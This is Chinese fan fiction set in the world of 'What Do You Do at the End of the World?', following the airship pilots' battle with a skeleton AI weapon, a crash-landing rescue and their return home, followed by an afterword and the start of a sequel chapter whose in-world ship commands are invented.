一切都赌在我今天早上刚实现的新程序了。

咒燃炉，所有魔力解放！

我把瓦尔卡利斯的发动机推力也抢了个干净。6 门 343mm 火炮放出了浮游大陆有史以来最耀眼的光芒。

最佳滑翔速度：195kn。没有动力的瓦尔卡利斯很快就会需要下降来维持速度。

“Muwahahaha——你们这些蛆虫，科技爆炸的速度确实很快。”

我和绀亚武刚从那阵核爆级冲击波中恢复正常飞行。耳机里突然响起了陌生人清晰而可怖的声音。来源是紧急 FM 频道。

夕阳把天空烧成了血红色。前方大约 45km 处，正在发光的物体是瓦尔卡利斯。再往前，是一个黑色大骷髅。正是它眼中放射的死光把厚厚的云切去了两个巨大圆柱体，直接命中了瑟尼欧里斯，至近命中了瓦尔卡利斯。我觉得那东西远得已经嵌入天空本身，但它占据视野的比例不算小。瓦尔卡利斯的主炮愤怒地戳着骷髅的牙齿，可是一点用都没有。那只能算一支牙签。

哦，场上还有一团已经炸成烟花的那个东西……我不忍心看。我怕看到珂朵莉全身燃烧着，无助地掉下去。但我抱着希望顶着恐惧把视线移过去了。没有发现珂朵莉的光翼。

“……”

隐约听见威廉的悲泣。

他要坏掉了，但我不能陪他。只要我被骷髅发现，我肯定会死。我不怕死，但我想去陪他。

“你很爱她，是吗？”

何等不近人情的骷髅，连人心也要杀戮吗？就算你是人工智能，也不想原谅你。

“……”

“爱只会带来战争和痛苦。这就是无征种。Muwahahaha——”

“闭嘴。”

瓦尔卡利斯正在下降。它的主炮越仰越高。

“你有资格这样说吗？”

“滚。”

“哈哈哈哈哈哈……愚蠢的无征种！我来告诉你什么是爱吧！爱是罪恶。”

五百年前的无征种为什么喜欢如此恶趣味的人工智能呢？

耳机里传来了悠扬的 Scarborough Fair¹³。我不想听骷髅说话了。我还有别的事。

我关闭发动机，钻入云层中开始下降。

我用力按住开火按钮。如果能用手把那骷髅捏碎的话，我会按到手筋断裂。

主炮充填率：43%，42%，41%，……

——光明。但明显远不及五百年前无征种制造的那件骷髅兵器发射的光。

我有点接受事实而且绝望了。主炮根本没用。

珂朵莉，对不起……

我想逃。可是瓦尔卡利斯没有允许我逃跑。主炮充填率：35%，34%，21%，8%，0%。

咒燃炉过度释放魔力了。魔压降为 0%。一切都安静下来，只听到呼呼的风声。燃料只剩一成。

算了，如果骷髅主动摧毁我，那我本来也逃不掉。现在我会跟着船滑翔，最后掉在地上。地上全是兽。

好吧，和骷髅谈情说爱吧。FM 广播启动，播放 Scarborough Fair。

“说下去。”

“先来反省你自己的罪恶吧，愚蠢的无征种。”那个骷髅说话不怎么讲逻辑。或者他知道我不想回答吗？

我叫威廉·克梅修，与珂朵莉·诺塔相爱了。她的卓越才能和高洁志向想要拯救所有人，但我只想拯救她。肯定还有很多人喜欢她，但绝大多数会因为她是无征种而犹豫放弃，另外还有不少爱她的人自己也是女性，于是无果而终。最后，绝大多数男性都考不上护翼军设立的顶尖大学，只能作为一般兵直接服役，也就无法再与珂朵莉见面了。即使考上了，计算机专业会让最勇敢的幸存者望而却步。

我去了不受待见的硬件专业。珂朵莉没有拒绝我。我真的很感谢她，也感谢命运。我默默为她熬了许多的夜。我当然没法在纯算法上和她比肩，但我希望能在其他方面帮助她。比如她作为未来的空中战舰的首位预定舰长，唯独没有考虑到要给自己编写回避机动程序。又比如我为了增加魔能防空炮的射速，想到了异步装填。

熬夜好累啊，但我愿意为她付出生命。

“你有罪。比那些普通的无征种更有罪。罪大恶极。”骷髅冷冷地说。

我有什么罪呢？怀着最美好的感情去拯救一个人，是有罪的吗？

“我来告诉你五千年到五百年前的故事吧。”骷髅突然笑得像个慈祥的老人。

世界有数十亿年的历史。然而直到数千年前，世界上只有无征种拥有智慧。他们是当时唯一的“人”。可能更久以前也有类似的“人”存在，但根据最古老的传说，太古时代的“人”被星神艾陆可降下的灾难毁灭了。

稻穗色的麦田，朽木色的小屋。人们劳作在广阔的田野上。田野是广阔的。人们自给自

¹³ Are you going to Scarborough Fair? Parsley, sage, rosemary and thyme……
你是要去斯卡布罗集市吗？那里青菜 3 块一斤，牛肉 20 块一斤……

足。

不过嘛，自给自足的生活总是缺了些什么。一方面，收入与劳动总体呈线性关系，只是那条线上叠加的常数分量是个恐怖的随机变量。另一方面，人是有欲望的。人类想要用更少的劳动满足更多的需求。这无可厚非。人们用交换来满足欲望。有交换就有竞争。这同样无可厚非。

竞争是可怕的。

最初，人们疯狂地抢占土地，组成更大的团体来生产东西。产品也不再是产品本身了。它们在竞争和交换中被抽象为“价值”。人类是没有价值的¹⁴。但人类很快也自愿被抽象为价值。一般来说人们用自己的劳动压榨世界的速度来标榜自己的价值。

接着，一些恶魔发明了“科学技术”。当然他们的本心只是探索世界，但客观上他们的行为是恶魔行为。世界是不允许被探索的。探索世界就是吃禁果。

科技让人类的力量以指数级别强化。昨天我研究出最有效率的东西，今天就会被别人以大约 2.7182818285 倍的力量贬得一文不值。

人类是没有价值的。在强大的生产力面前，人类和真正的价值根本无法相比。

世界开始饱和。没有更多的麦田可以开垦了，但人们还可以在已有的田地上提高产量。一些良田不足的地区无法满足当地人的欲望，结果爆发了战争。

某天，一个不愿参与纷争，只喜欢探索世界的家伙搞出了一台“WT 自动机¹⁵”，可以自动完成 wheat 的播种，培养，收割，甚至最后还能做成面包送到人们的手上。只要人们给它输入命令，它就能按人的意志来劳动了。传说最初的 WT 自动机参考了稻穗串特征向量的思想，能够批量搜索出可进行下一步操作的麦子。人类的速度远不及它。

人们疯狂了。WT 自动机被部署到世界的每一个角落。发明者被誉为人类文明的救世主，因为人类可以不劳而获，也就不会有纷争了。

——人类不会有纷争，那是不切实际的幻想。

三天后就有人提出不满：无论 WT 多么伟大，我们还是得每次输入一条命令。

他总体上说得没错。用图形界面的人其实也是在输入命令，只是劳动环境更加轻松了。图形界面是济世的精英们为节省普通人的劳动而贡献的。还有很多人连图形界面都不会用。他们只能等待救济。

而且，在良田不足的地区，小麦的产量相比之下反而急剧减少。我们增长了 20%，他们增长了 5%，但我们的基数只有他们的 15%。他们的军队因此可以比我们多增加 2 个百分点。

战火开始向全世界蔓延。穷苦的人要求更多生产资料。

第四天，人工智能这个古老概念突然火起来了。有人用了 GPU 这种东西突破了计算速度的瓶颈。GPU 速度是 CPU 的数千数万倍。人工智能在当天中午就被所有人尽情训练和使用。它们不仅是生产力，而且能自行创造新的生产力。人类彻底解放的时代到来了。

——人工智能解放人类，这完全就是个笑话。

全人类都在第四天集体熬夜，抢占新的价值和武力制高点。当天晚上，人们开始用疯狂的战争疯狂掠夺世界的和他人的一切资源。这种零和游戏撑不了太久，而且最多只有一个赢家，但人类别无选择，只有勇敢地拿起代码去屠杀自己的同族。

第五天，世界上最发达的国家集中一切精英力量开发出了传说级 AI 兵器“黑烛公”。黑烛公拥有独立人格。它的本性是吞噬一切科技，因此它做的第一件事就是毁灭了制造它的国家。

黑烛公不喜欢人类。还是动物和 AI 好。第五天晚上，大量的动物被黑烛公赋予了智慧。AI 兵器们则被训练成了和黑烛公相似的习性。

¹⁴ 可以说人类一文不值，也可以说人类是无价之宝。任君解读。

¹⁵ 设定原型为 AC 自动机

为什么人类几乎被灭绝了？获得了智慧的动物们也没有完全理解其中原因。反正人类是恶的根源。他“人”即地狱。

黑烛公没有摆脱自己的本性：以科技为食物，任何科技都想吃掉。在五百年的沉睡后，他终于嗅到食物来源了。大量的兽袭击浮游大陆，试图掠夺计算机，但遭到了飞空艇的顽强抵抗。黑烛公很喜欢吃那些高科技飞空艇。电磁波和高速时钟电路是食物的诱人香气，飞空艇里面的人类则是最棒的蘸料。

我才不会用心听那个大骷髅讲些奇怪的故事。我的主要目的是争取时间，让后方的奈芙莲和缇娅有更多行动机会。相对的，骷髅对我如此仁慈的目的也很可能是诱出奈芙莲和缇娅，彻底消灭。此外，最好能让瓦尔卡利斯在空中多撑一会，因为地面肯定全是兽。咒燃炉的重启程序实在太复杂了。我觉得我这个生手最多只有三次机会修复咒燃炉。那之后就必须迫降。

已经下降到 3000ft 的积云里。我最后一次试着重启咒燃炉，同时让电脑搜索那个大骷髅的情报。

舰上光是固态硬盘就有 5000 多 PB¹⁶，存储了浮游大陆所知的几乎所有资料。艾瑟雅和我曾经对灰岩皮提意见说这是白白增加 VAL 的载荷，但灰岩皮仍然要求安装那么多硬盘。现在，诺夫特的聪明 AI 确实从硬盘里找到了情报。

大骷髅叫黑烛公。它的实力……反正它随手就能把我烧成灰，我就懒得听下去了。空间曲率鱼雷可能对它有点用，但我知道黑烛公不傻，所以 VAL 上的几发备弹肯定打不着他。

咒燃炉重启失败。VAL 向下穿出积云，进入了 1000ft 高度。

左边和后方是古人类留下的钢铁废墟，右边和前方则是平原。我很久没有手动驾驶那么大的船了，所以当然想在平原上好好地降落，但地面上无数虎视眈眈的兽打消了我这个念头。它们对我形成了包围圈，而且圈正在慢慢缩小。

我马上会被围攻。平原不利于生存。正确的做法是降入密集的钢铁残骸之间，依托地形继续抵抗。我让瓦尔卡利斯慢慢地左转。

喂，艾瑟雅，你还在吗？帮我降落吧。只有你能在最恶劣的条件下把任何庞然大物安稳地停住。

艾瑟雅当然不在。要是她在，肯定会直接把我的操控权抢过去。

我开始放襟翼，然后放出起落架。

珂朵莉，你还在吗？再保护我一次吧，让我迫降。

```
lepre autofire.lc -g17 -rate 3 -ammu "apcr"
```

甲板上的副炮已经被黑烛公全灭了。舰底和舷侧的装甲壁里又伸出几门副炮，对着地面的兽无精打采地打出实体穿甲弹。

“TOO LOW, TERRAIN!” 瓦尔卡利斯发出冰冷的报警，提示我高度已经很低了。我不想听。

嗯？那堆黑色废墟之间有深蓝色光泽的东西是？

——瑟尼欧里斯的舰桥。

我突然后悔那么早放出襟翼。

可能还有点希望。我全力拉杆，想让瓦尔卡利斯再飘出去一点距离。

操纵杆开始抖动。失速警报响起。机翼迎角 22°。

不行了。我到不了那里。我无法再为她做什么了。我会摔死。即使我没有摔死，我也不可能在兽的围攻下跨越那 1kil 的距离去救她。希望我没有摔死。至少给我一个机会保护艾瑟雅吧。

¹⁶ 1PB=1024TB

¹⁷ -g 意为对地射击

失重感出现了。

黑烛公讲的故事不知所云。

“那么我爱珂朵莉为什么就有罪呢？”我反问黑烛公。

“你爱她本身是无罪的。爱是我们的正常需要，就像我们需要吃饭一样。而且爱的需要比吃饭的需要更加美好。但你为她做了那么多科技。你为全世界带来了灾难。”

何等无厘头的回答。毕竟他只是个 AI，不像我那么讲道理。

“不过我在最后一刻没有对她下死手。她好像不是可恶的人类，是个黄金妖精吧？”

“是。”这句话配合着完全的失重和死亡的恐惧，让我的心跳加速了。

“她身上有一种完全不同于科技的强大力量，应该是魔力(Venom¹⁸)。我们特别喜欢那种东西。它不是用人类肮脏无情的绝对理性逻辑思维构建的。我们敬畏这种符合自然本性的力量。我们想要，但永远得不到。即使人类科学家们研究新事物的时候，也绝对不是靠机械的理论，而必须要有类似那种魔力的东西。那种力量是最高洁最美好的。”

啊？哦。

“所以，我突然不想伤害她了。我在最后一刻没有忍心向那条深蓝的船用出全力。我喜欢她！——我我我我是说我喜欢她的魔力。”

我靠。

“我恨你，但请你和她结婚吧。要记住自动飞空艇不会拯救任何人。你们的大陆很快会开始争夺那些科技，然后爆发内战，最后灭绝。请你保护她。”

我没理黑烛公。我执行了：

```
lepre autofire.lc -g -rate 6 -ammu "apfsds" -ammufallback "any"
```

“你这首歌真好听。是你写的歌吗？Scarborough Fair 是你第一次遇见她的地方吗？”

咚的一声闷响，然后是爆裂声。我的脊柱炸开一阵恐怖的疼痛，然后我什么都不知道了。

6

夕阳已经挂不了很久了。一个小时内，黑夜就会来临。

耳机里突然响起超宽带 FM 带来的 Scarborough Fair。那是斯卡布罗军港最浪漫的民歌了。调制系数 250，信噪比 108dB，估计连浮游大陆都能听清。

奈芙莲马上俯冲下去了。

“唔诶诶诶诶诶诶诶诶？！”

我差点想问奈芙莲要做什么。在按下对讲机按钮前，我才意识到无线电通话是送命行为。冷静。思考。

瓦尔卡利斯的高功率雷达现在没有开，也许是咒燃炉已经损坏了。奈芙莲想要攻击，就得用自己的雷达。

那不也是送命吗？而且奈芙莲的雷达范围远没有导弹的射程大。

我不太理解状况，于是决定轻轻推操纵杆收油门，随着奈芙莲俯冲。我不能开雷达，也不能通讯，所以最好跟紧 INS。

奈芙莲加深了俯冲的角度！

我继续推操纵杆。失重感让我发慌。我的右手伸向减速板手柄。

奈芙莲的舰尾放出了魔力的强烈光芒。我能感受到她发动机的闷响和空气的震动。

她加力了！

¹⁸ 原作中的“魔力”英文为 Venenum

印萨尼亚咆哮着冲入云层，舰影很快消失不见了。

我也想加力，但强烈的失重感和危机感让我犹豫。加力的声音很容易被敌人发现。

很快，INS 的发动机声音也消失了。

我冲入了云层，但不知道该做什么。于是我恢复到低速巡航推力，在云中盲目地平飞。

没有雷达没有目视的情况下，我只能通过 ATC¹⁹应答机来了解其他人的位置，而且当她们的 ATC 应答机询问我的位置时，我不可以应答。我输入命令：

```
atc -noreply
```

屏幕上有金橙色的 VAL 和灰蓝色的 SEN，并且 VAL 边上还标注了小字：

[AutoSet]

7700

VAL 确实遇到了严重故障，并且正在下降，差不多是艘废船了。至于一动不动的 SEN，那个应该是最后探测到的位置。INS 不知所踪。

我开始检查鱼雷装填情况。一切正常。主炮也能用。

先前的战斗中，VAL 和 SEN 的详细作战计划在黑骷髅的绝对力量面前显得苍白无力。战绩是惨不忍睹的 0 杀 1 死 0 输出。很快会演变成 3 死。如果奈芙莲回不来，那就是 4 死。

我不敢想“最后会变成 5 死”。

鱼雷是不能乱甩的。如果为了救援而向那块地面发射鱼雷，巨大的爆炸范围一定会波及她们。主炮无法一口气消灭兽群，也没有隐蔽性可言。如果乱打主炮，接着就是 5 死了。

我想逃。现在逃的话是能回家的。

珂朵莉，我不想逃啊。我想救你。哪怕你已经死了，我陪着你死去也很好。

大学里和珂朵莉前辈共度的时光涌上心头。虽然我经常变成珂威的电灯泡，虽然我每天被喂满嘴狗粮，但珂朵莉也很会照顾我。一起编程的时光实在难以忘怀。

谁是超级恋爱脑还特别喜欢自我牺牲啊！

前辈，请不要再为我们牺牲了。我想拯救你。

奈芙莲去干什么了？她是冷静勇敢的人。我要相信她不会送死。要赌一局吗？我赌她去救艾廉了。而且我赌她还想救珂朵莉。我还得赌这场行动完全成功。

不要送死啊！她得活着回来。我的话，陪珂朵莉死也可以。

这时，我听见撞击的巨响。ATC 应答机上的 VAL 变成了橙灰色。

什么是灵活应变呢？就是做一些不在计划中的事。

还有 80kil 就会到达 VAL 的坠毁地点。到时候就突然冲下云层，用侦查摄像机了解现场状况，然后马上脱离，在适当时机关闭发动机，重新消失在云层中。以我 2000kn 的速度，即使被发现，也不至于短时间内被大量弹药命中。之后我来吸引火力，发出 FM 无线电让缇亚忒去救援。

正这样复习着自己拟定的作战计划，就已经冲过了 40kil 的距离。

作战计划。这也不是什么好东西。之前 VAL 和 SEN 不是完全没用上作战计划吗？有可能我也用不上我的计划。但我觉得她们没有全都死去。我要陪她们。

还有 10kil 了。执行命令 atc; camera -keepalive。推杆！

负过载让我的眼前一片血红色。-3G 比+6G 还难受多了。

ATC 应答机上突然显示出紫色的 INS。她在全速接近 VAL。

我不相信奈芙莲是失去了理智冲上去的。

¹⁹ Air Traffic Control，空中交通管制。

右边的屏幕突然开始播放视频。地面上，VAL 处于兽群的包围圈中。它的巨大身躯奄奄一息，只有副炮在慢慢地吐出火焰。我觉得 VAL 黯淡的航行灯随时都会消失。

“SEN 的舰桥在 VAL 西面 1kil。魔力探测认为她还活着！但她不在舰桥里，而是躺在边上。”

用什么来描述我的惊喜呢？我的心脏简直放出了彩色的光。

“她的魔力在体内燃烧。再烧下去有生命危险。艾和廉的情况我不清楚，但 VAL 撞击地面后没有碎成太多块。有希望。”

我马上把油门加大了。差点就开出加力。

“我已经暴露了，现在帮你吸引地面火力。马上支援我！”

支援？用鱼雷摧毁那些兽？打不中的吧。

主炮和鱼雷都不能用。我还剩什么武器呢？

我（精神上）回头，看向椅背后的圣剑。我看到它发出幽绿的光芒。

圣剑伊格那雷奥，可以让我“不那么显眼”。

不，支援这个词是说给敌人听的。我真正的任务显然是：

降落，然后救出她们！

外面传来导弹的爆炸声。INS 在我的屏幕上标出了一大批物体。一群能飞行的兽抓着 INS 穷追不舍，地面的兽也全部对着她怒射。奈芙莲则从舰艇连续发射导弹。她飞着不规则的轨迹，高度在 200 到 800ft 之间剧烈波动，然后一下子上升。

导弹的爆炸声还在继续，但奈芙莲发来的信号突然全部消失了，也听不见她的发动机。屏幕上剩下了一大片灰色的导弹标记，兽的标记，当然还有珂朵莉和艾、廉的标记。

肯定还没死。所以该我出场了。

直接降落在 VAL 边上不是很明智，因为 VAL 被大批的兽盯着。总会有一两只兽注意到这艘 IGN 带来的风吹草动，然后对着我打开高功率雷达使我彻底暴露。而且我说不定会撞死在城市的废墟中。我决定停在地上的城市废墟和平原交界处，距离 VAL 大约 5kil。之后我自己带着圣剑去救她们。现在距离还有 400kil。我可以开始下降了。

20 分钟之后……

“Two hundred.”

现在我的航向朝西，平行于城市边缘，即将着陆。夜幕完全降临下来，星光璀璨。

“One hundred.”

VAL 的实体炮弹可能快要打完了。INS 的导弹估计也不多了。爆炸的声音明显减少。

“Fifty! Forty! Thirty! Retard! Retard!”

我轻拉船头，飘落在地上。减速板全部展开，但我没有用制动或反推。

接着听到了巨大的爆炸声！

不是我，而是奈芙莲的船爆炸了。在我头顶上，也炸成了紫色的烟花。

她不会死的！我也得活下去。

我关掉 IGN 上的一切设备，从座椅背后的拉链袋掏出消音步枪和 RENS²⁰，燃烧起体内的魔力，然后背着圣剑直接跳出舱门，融入了黑夜中。

“Tiat Sheba Ignareo, commence the assault!”

一次只能背一个人。

光是把 2kil 外的奈芙莲背回船上，就已经精疲力尽了。路上还不能随意使用光翼。现在我只想与珂朵莉见面。我气喘吁吁。

我猫下腰，一口气穿越 100m 的开阔地带，冲入下一片钢铁森林里，到了 SEN 的舰桥脚

²⁰ RENS：浮游大陆导航系统。主要使用的是惯性导航而不是卫星导航。。

下。我一眼就看见了魔力发出的微光，发现了珂朵莉。

天呐。她脸上全是血。衣服上全是血。裙子上全是血。我怕她死了。

摸脉搏。摸不到。手是冰凉的。

不要啊……！

前辈……我爱你……！我想对你表白，想和你结婚的啊……

我的泪要流下来了。

我扑到珂朵莉的身上。我的体重和汗水压了上去。对伤者是不能这样的，但请允许我对死者这样吧。

微弱的心跳传来。

扑通。扑通。

是我的心跳被珂朵莉反射了吗？

不，不是的。

她还活着。

也是啊，死者不会放出魔力的光！

我直接用嘴把我的魔力往她体内猛灌。她的脉搏变强了。

疲倦感袭来……

差点又犯错了。我还得背她回去，不能把力气用光。

刚想拉起她，却发现她被绑在座椅上。座椅背后是圣剑瑟尼欧里斯。淡淡的魔力辉光中，我看见瑟尼欧里斯上满是弹片划痕。

珂朵莉座椅下的拉链袋里有好多魔力补充药品。我想起来了：她大学以来就一直拼命地学习工作。医生说，如果她的魔力消耗过度，记忆可能会被不可逆地侵蚀，直至死亡。症状是头发变为红色。

珂朵莉体质很好，魔力充沛，但她还是不停地吃这些药。我是不喜欢吃的。全身都像燃烧一样，而且吃完保证会头晕。我觉得那样不会提高我的效率。

结果你居然把药当饭吃吗……

我抓出所有的魔力药，一口吞下两三片。我背上珂朵莉和瑟尼欧里斯，开始在钢铁的森林间狂奔。

我再次醒来的时候，发现自己平躺在地板。舱内只有微弱的光亮。天花板上的照明灯布置方式不是我的炮手观瞄舱风格，而是 VAL 舰桥的风格。

艾瑟雅？

我想直接坐起来。失败。脊椎一阵剧痛。而且我好像被绳子绑起来了。不仅是四肢，连头都无法动弹。这操作算是保护我的脊椎吗？

全身冰凉，只有左臂有些暖意。

向右转头。那是舱壁。

向左转头。那是啥？

从近至远：全身血迹的珂朵莉，一动不动的艾瑟雅，微笑着的奈芙莲。三个女孩子就这样和我并排躺着。

惊喜！心脏也活过来并开始跳动。

但三个人躺得和死人一样安详。

仔细一看她们的腹部：都在呼吸。

“珂朵莉~！”我发出沙哑的声音。

“威廉姆~？”

我听见了解开座位绑带的声音。一个绿色头发的孩子蹲在我身边，松开了我头上的绳子。

“缇亚忒！”我马上把头抬起来。

缇亚忒的额头在流血。

缇亚忒轻柔地捧着我的头，重新放在地板上。“躺好。你的脊椎伤了。你是人类，无法用魔力给你治疗。兽还在追我们。之后我们还可能做剧烈机动，所以不把你解开。枕头被子都没有。毯子给珂朵莉盖了。我没接通自动驾驶。我先回去开船。”

我仍然抬起头，目送她坐到座位上，绑住自己。座位背后赫然绑着四把圣剑。

我在 IGN 上？现在是什么时间？她怎么做到的？

“你飞了多久了？”

“现在是凌晨两点多，VAL 坠毁后大约 32 小时。”

“为什么不自动驾驶？”

“没有任何船给我导航了。我也不能开雷达，只能惯性导航。”

“地面上有什么？”

“城市废墟，以前失踪的飞空艇残骸，还有白骨。砍了几只兽，用枪打跑几只兽。枪被我丢弃了。想呕吐。我不想再去看第二次了。”

她都干了些什么……

“你受伤了吗？”

“比珂朵莉好得多。”

她是怎么把我背回来的？

“用夹板和绳子固定住你和艾瑟雅。然后我背着珂朵莉，顺便把你们从地上拖回来的。”

不知又躺了多久。

“你累了。我来。”是艾瑟雅的声音。

“你伤得比威廉还重。不许动。（哈欠……）”

“严禁疲劳驾驶。会被开除的。”

“你早就不是 Air RE²¹的人了。而我有魔力药。”

“你不会导航，也不会进近。”

“呜咕……（哈欠……）”

最后的苦战：让 IGN 带我们回家。

为什么说我不会导航不会进近呢？因为我得在只有惯性导航的情况下执行夜间的 CAT III 盲降。之前我降落在地面上时，惯性导航经 VAL 和 INS 的雷达数据校准过，然而现在它肯定已经偏得一塌糊涂。另外，我的电磁隐身性会让浮游大陆完全找不到我。我现在也收不到浮游大陆的任何 VOR 信号。

不行了。我确实要不行了。

配合着我昏昏沉沉的脑袋，我已经完全不知道自己身处何方。左腿好疼，踩不动方向舵。

向右回头一看：威廉又睡着了；珂朵莉是肯定动不了的。再向左回头：奈芙莲嗤嗤地偷笑；艾瑟雅也在微笑。

“让我来继续受伤吧。我把船开回去。”奈芙莲说。

“然后我来降落。”

我累了。魔力药的副作用在侵蚀我。浑身燃烧，天旋地转。

“お願い……”

据艾瑟雅说，我刚站起来，就直接向右睡倒在座椅边的地板上。

艾瑟雅一看星星就知道航向。而她的测距方法是……

打开 FM 收音机，调到 68GHz，果然在放 Scarborough Fair。信噪比 22dB，所以我们距

²¹ Air RE：浮游大陆国际航空

68 号岛还有 1700kil……

这是威廉发明的魔鬼方法。

True Ending:

回家了。我的头发全是蓝色，记忆没有被侵蚀。

三天前，妮戈兰、莉莉娅、史旺、灰岩皮、诺夫特、兰朵露可，好多好多的人来斯卡布罗军港迎接我们。我们身上缠满绷带和纱布，被抬出了船。只有艾瑟雅坐上轮椅，从舱门沿着坡道自己冲下去了。真有意思。她就是那么元气的人。

原来我们开出去的都是星船。

即使兽的侵略原因被明确为“珂技过于发达”，也没有一个浮岛愿意主动放弃计算机技术。十个月后，星船进入批量生产。很快，浮游大陆爆发了内战。

我们绝不会被卷入战争。我们是极少数的星船飞行员。所有人都指望我们早日养好伤。对黄金妖精的歧视完全解除了，而对**我**所属的“人类”的歧视却没有明显好转。

也不是什么好事。人类是没有价值的，怎么我们就被当成了开星船的工具人呢？

算了，满足吧。

我们救不了所有人。能拯救身边的人已经实属不易。比起那些生灵涂炭的战场上发出绝望咆哮的男人女人，我们还是幸福的。

这颗星球上属于我们的文明即将结束。

战士们只是想拯救自己和自己亲爱的人。/*欲望->价值->竞争->饱和->杀戮的*/铁链一直绑在历史的车轮上，永远不会断裂。

以后也要好好地拯救最爱的人吧。即使我们知道那会带来地狱，我们仍不会放弃拯救。这就是人类啊。

Afterword:

珂朵莉康复后，和威廉结婚了。她们一起开着 SEN-001 远航。

本文主要给《末日时在做什么？有没有空？可以来拯救吗？》和《末日时在做什么？可以再见一面吗？》的爱好者们看个乐呵。文笔稀烂，不成敬意。也不用觉得我在讲什么道理。我不喜欢讲道理。

威廉的身上有一点我自己的影子。珂朵莉身上则完全没有我喜欢的三次元女孩子的影子。所以珂朵莉对我来说纯粹是珂朵莉本人。而我喜欢的三次元女孩子可能更像第二部的玛尔歌吧（笑）。

虽然诺夫特和兰朵露可我也喜欢，菟琪旭可蓉潘丽宝我也喜欢，莉莉娅玛尔歌艾陆可我也喜欢，但我实在没那么多篇幅和肝去写了。非常抱歉！

本文的标题是瞎取的，CINT 就是直接把四位黄金妖精的首字母拼起来。

感谢您的阅读！本文是 Destroyer Ignareo 的一部分，按 GNU GENERAL PUBLIC LICENSE Version 3 开源协议发布。

CINT the Space Fleet (①)

By Hecate2

Preface:

感谢您的阅读！本文是 Destroyer Ignareo 的一部分，按 GNU GENERAL PUBLIC LICENSE Version 3 开源协议发布。

我在某个很有影响力的珂朵莉群做了一个调查，结果是这样的(感谢 黑音 提供截图)：



Rhantolk: 5, Nopht: 2, Lakhesh: 5, Pannibal: 6, Collon: 3; Hecate2 wrote too bad: 5

18 voters, 26 votes, 3 maximal options in one vote

那么，赌一次妖精们和我们的未来吧！试问！我黑卡蒂会不会根据投票来安排戏份呢！给几个极其无聊的提示：这是 Destroyer Ignareo 附赠的小说，而且标题是 CINT，而且目标不是百分之百迎合读者。

根据读者的反应以及征稿者的希望，本章相比第〇章可能会更加注重大众性和娱乐性，也就是程序知识（没错，我这个扭曲怪认为**程序是大众娱乐**），而剧情则可能不会太过精细，也不会入骨地刻画人物。我挺想做得精细，但这次确实没信心写得比第〇章好。

各位观众老爷可以相信我绝对不会在结局上喂刀片。我自己也吃不下那么多刀片。

本文约 27000 字，可能涉及一些硬核设定。第①章同样可能含有插图与注释，且字体（华文中宋）与第〇章（宋体）是不同的。**强烈建议用正统 Word 软件来看！**

1 Actions Have Consequences

呀吼~，我是练习时长两天半的 ATC 实习生**潘丽宝·诺可**，喜欢编程，飞行，射击，

挥木剑，比缇亚忒小 1 岁。我的星船**卡黛娜**正在建造中。想不到我在你们的世界有那么多粉丝哇~♪（眯眼）。

诶？你不知道 ATC 是什么？看来你忘记上一章的注释了哦~！在本文中搜索“ATC”即可找到答案！电脑上搜索 Word 文档的快捷键是 Ctrl+F 哦~！现在程序太发达了，所以整个塔台只需要一个人！顺便，我的朋友**可蓉·琳**现在是斯卡布罗军港的地勤组长啦！

好了好了，星船要进场了。我要保持一如既往的稳重人设！过会再和你们的世界聊哦~

“**Delta Echo Sierra**，下个道口右转脱离。欢迎回家。”

“**Delta Echo Sierra** 收到。”

距离大英雄**缇亚忒**她们的归航已经过去了一个月。受伤的妖精和人们都在逐渐康复。

今天一上午都洋溢着融融春光。目前天气²²是：

METAR SCBR 220930Z 26901MPS CAVOK 18/M08 Q1028 NOSIG=

这是艾瑟雅设立的天天气简报语言。CAVOK 这个词代表很多意思，不过总而言之是完美适合飞行的好天气，所以**诺夫特**、**兰朵露可**和**菫琪旭**一大早都开着船出去实弹演习了。

兰朵露可今天的战绩是实体穿甲弹自动齐射 50 炮 4988 环，手动齐射 50 炮 4994 环。程序水平恐怖如斯，手动却更在程序之上。不得不说，非常可怕。而且，自**格里克**以来，浮游大陆很久没有出过手动比自动更精准的奇才了。

诺夫特的训练也卓有成效。她的巡洋舰**迪斯佩拉提奥**是为近距离缠斗设计的。一对一格斗中，即使对手是（计算机模拟的）印萨尼亚，诺夫特也能在被咬住之前滚转船身避开炮线，可以说不落下风。一对多时，本来理论上 1 艘船很难用缠斗方式在大量敌人包围下存活太久，但诺夫特的格斗机动在成群敌人带来的彻底绝望中总能负反馈得到一点点希望。一点点希望毕竟也是希望啊！

至于菫琪旭……

其实我估计菫琪旭也没什么特别需要训练的，因为**瑟尼欧里斯-001**的程序全部继承自珂朵莉前辈，硬件也完全照搬那艘沉没在西海的瑟尼欧里斯。有了完美的装备，菫琪旭只要好好地学习珂朵莉前辈写的程序，并且在使用的时候快速准确输入命令就行。兰朵露可说菫琪旭今天的表现一如既往地好。然而……

四分钟前，正在准备着陆的菫琪旭发现仪表盘显示前起落架未放下。她喊了“**Pan! Pan! Pan!**”²³。所以**我**刚才一直超紧张啊！

现在诺夫特迅速为她让出了跑道。同时，**我**让兰朵露可驾舰跟在**菫琪旭**边上观察起落架。**可蓉**已经带着消防队前往跑道了。我还接通了**莉莉娅**（也在这座军港）、**艾瑟雅**（在斯卡布罗的医院）和**威廉**（也在医院）的语音通话。顺便，**珂朵莉**似乎就在威廉床边。

“起落架没有放下。菫琪旭要再试一次手动解锁吗？”兰朵露可跟在菫琪旭的船后方。

“呜诶……”

“没事，瑟尼欧里斯很坚固。就这样着陆也不太可能受伤。实在不行直接跳伞。”

“不过我觉得瑟尼欧里斯比弹射座椅更值得信赖。”**莉莉娅**说。

“着陆的时候可以拉飘呐！”**艾瑟雅**用着狡黠的语气，“自动刹车开少一点，尽量拉杆让船头一直抬着。实在抬不动了再轻轻地放下船头，猛烈减速。以前某家航空公司经常这么干哟~，所以菫琪旭也珂以做到的！”

²² 例行天气报告 斯卡布罗机场 世界时 22 日上午 09 点 30 分 风向 269° 风速 1 米/秒 能见度大于 10kil，没有对飞行产生重要影响的云，且没有重要天气现象 温度 18℃，露点-8℃ 修正海平面气压 1028 百帕 未来 2 小时内天气没有明显变化

²³ **我**对飞行员们说过：遇到紧急情况就直接大喊**我潘丽宝**名字的前三个字母。**我**会尽力安排救助。读者在现实世界也珂以喊“Pan! Pan! Pan!”表示在空中遇到尚能控制局面的紧急情况。**我**不是在开玩笑。你们真的可以在现实世界喊**我**名字的前三个字母，连续喊三次。

我甚至差点笑出来。艾瑟雅说的就是浮游大陆国际航空。我不能紧张，也不能笑。

“还是没有放下来。”

“燃料还有 40 分钟。我着陆吧。”

“Sierra Echo November 001, cleared to land.”

(十几分钟后……)

